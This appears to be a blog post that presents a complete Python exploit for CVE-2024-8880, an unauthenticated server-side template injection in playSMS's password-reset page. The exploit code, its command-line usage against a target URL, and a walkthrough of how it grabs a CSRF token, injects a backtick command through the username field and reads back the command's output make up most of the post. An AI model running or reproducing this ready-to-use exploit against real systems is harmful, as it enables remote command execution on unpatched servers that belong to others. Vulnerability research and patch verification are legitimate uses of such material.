Screenshots from the blog posts
Summary
In this post, we will be understanding the SSTI exploit against playSMS leading to RCE. We will understand how to use the exploit to target vulnerable instances and also understand the inner working of the script.
- import argparse
- import requests
- import re
- import urllib3
- # Disable SSL verification warning for simplicity
- urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
- def validate_url(url):
- if not url.startswith(“http://”) and not url.startswith(“https://”):
- raise ValueError(“Invalid URL schema. Use ‘http://’ or ‘https://'.")
- def get_csrf(session, url):
- try:
- response = session.get(url, timeout = 10, verify = False)
- if response.status_code == 200:
- return extract_csrf(response.text)
- return None
- except requests.RequestException as e:
- print(f”[-] Request failed: {e}”)
- return None
- def extract_csrf(body):
- match = re.search(r’name=”X-CSRF-Token” value=”([a-z0–9]+)”’, body)
- if match:
- return match.group(1)
- return None
- def exploit(url, cmd):
- session = requests.Session()
- csrf = get_csrf(session, f”{url}/index.php?app=main&inc=core_auth&route=forgot”)
- if not csrf:
- print(“[-] The playSMS instance seems NOT to be vulnerable to CVE-2024–8880.”)
- return
- url = f”{url}/index.php?app=main&inc=core_auth&route=forgot&op=forgot”
- try:
- response = requests.post(url,
- data = {
- “X-CSRF-Token”: csrf,
- “username”: “{{`” + cmd + “`}}”,
- “email”: “”,
- “captcha”: “”
- }, timeout = 5, verify = False)
- if response.status_code == 200 and (“{{`” + cmd + “`}}”) not in response.text:
- print(“[+] The playSMS instance seems to be vulnerable to CVE-2024–8880.”)
- print(“[*] Command Output:”)
- print(response.text.split(“username”)[1].split(“\n”)[0].split(“value=”)[1].strip(“\r\n’\”\t “).split(“‘ maxlength=100”)[0].strip())
- return
- except requests.RequestException as e:
- print(f”[-] LOG: An error occurred during the exploitation: {e}”)
- print(“[-] The playSMS instance seems NOT to be vulnerable to CVE-2024–8880.”)
- def main():
- parser = argparse.ArgumentParser(description=”Novel exploit for CVE-2024–8880.”)
- parser.add_argument(“ — url”, required = True, help = “URL to send requests to.”)
- parser.add_argument(“ — cmd”, required = False, default = “id”, help = “Command to execute.”)
- args = parser.parse_args()
- validate_url(args.url)
- exploit(args.url.rstrip(“/”), args.cmd)
- if __name__ == “__main__”:
- main()
Description
Introduction
A vulnerability classified as critical has been found in playSMS 1.4.4/1.4.5/1.4.6/1.4.7. Affected is an unknown function of the file /playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot of the component Template Handler. The manipulation of the argument username/email/captcha leads to code injection. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The project maintainer was informed early about the issue. Investigation shows that playSMS up to 1.4.3 contained a fix but later versions re-introduced the flaw. As long as the latest version of the playsms/tpl package is used, the software is not affected. Version >=1.4.4 shall fix this issue for sure.
Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-8880
Exploit Script Usage
kali@kali:/tmp$ python3 exploit.py -h
usage: exploit.py [-h] --url URL [--cmd CMD]
Novel exploit for CVE-2024-8880.
options:
-h, --help show this help message and exit
--url URL URL to send requests to.
--cmd CMD Command to execute.
kali@kali:/tmp$
Exploiting Vulnerable Targets
python3 exploit.py --url http://playsms.local --cmd COMMAND_TO_EXECUTE
Understanding exploit script
The exploit script works as follows:
- Read user input (the URL to target and the command to be executed).
- The supplied URL is then validated.
- If the URL is valid, it is passed to the
exploit()
function along with the command to be executed. - Next, the CSRF token is fetched from the page by sending a GET request.
- Once the CSRF token is retrieved, a POST request is sent to
/index.php?app=main&inc=core_auth&route=forgot&op=forgot
. In the submitted request, theusername
parameter contains the SSTI payload{{`id`}}
which executes theid
command (Unix). - If the CSRF isn’t retrieved or the response status isn’t 200, or the response contains the username reflected back, the target is reported to be potentially NOT vulnerable.
- Else the target is reported as potentially vulnerable and the response is parsed and shown with the output for the command.
Tags
#RCE#exposed_to_RCE_attack#trendingCVE#novel#unauthenticated#template-injection#cybersecurity-trends#novel-exploit#playSMS#server-side-template-injection